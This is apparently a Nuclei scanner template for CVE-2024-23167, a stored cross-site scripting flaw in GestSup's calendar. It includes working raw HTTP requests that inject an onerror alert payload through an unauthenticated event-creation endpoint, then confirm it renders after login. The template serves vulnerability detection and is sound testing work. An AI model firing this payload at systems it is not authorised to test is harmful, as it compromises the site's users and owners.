GestSup - Cross-Site Scripting

id: CVE-2024-23167

info:
  name: GestSup - Cross-Site Scripting
  author: eeche,chae1xx1os,persona-twotwo,soonghee2,gy741
  severity: high
  description: |
    GestSup allows its users to add events to the calendar of all users. This is the HTTP request sent when a user adds an event to their calendar.
  impact: |
    This vulnerability could allow unauthenticated attackers to compromise users accessing the Calendar feature of the application.
  remediation: |
    Apply security patches, validate and sanitize inputs to prevent XSS, and ensure proper authentication. Prevent JavaScript execution in the calendar.php file.
  reference:
    - https://www.synacktiv.com/advisories/multiple-vulnerabilities-on-gestsup-3244
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-23167
    - https://doc.gestsup.fr/install/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
    cvss-score: 8.6
    cve-id: CVE-2024-23167
  metadata:
    max-request: 3
    vendor: gestsup
    product: gestsup
  tags: cve2024,cve,xss,gestsup,vuln

variables:
  formatted_date: "{{date_time('2006/01/02')}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /ajax/calendar.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest

        action=add_event&title=<img/src/onerror=alert(document.domain)>&start={{formatted_date}} 07:30:00&end={{formatted_date}} 23:00:00&allday=false&technician=1

    matchers:
      - type: word
        part: response
        words:
          - '{"event_id":"'
          - 'text/html'
        condition: and
        internal: true

  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login={{username}}&pass={{password}}&submit=submit

      - |
        GET /index.php?page=calendar HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'view=activity'
          - '?page=calendar'
          - '<img/src/onerror=alert(document.domain)>'
        condition: and

      - type: word
        part: header
        words:
          - text/html
# digest: 4b0a00483046022100e44aea979266f23298e935d376526d7e4c3063a785d2c1eb3748eb4ec73e264e022100e7d437b1fdb9e9bd3c6866f0db5c26f4769fa4b65ad43f212755596c2e25cefd:922c64590222798bb761d5b6d8e72950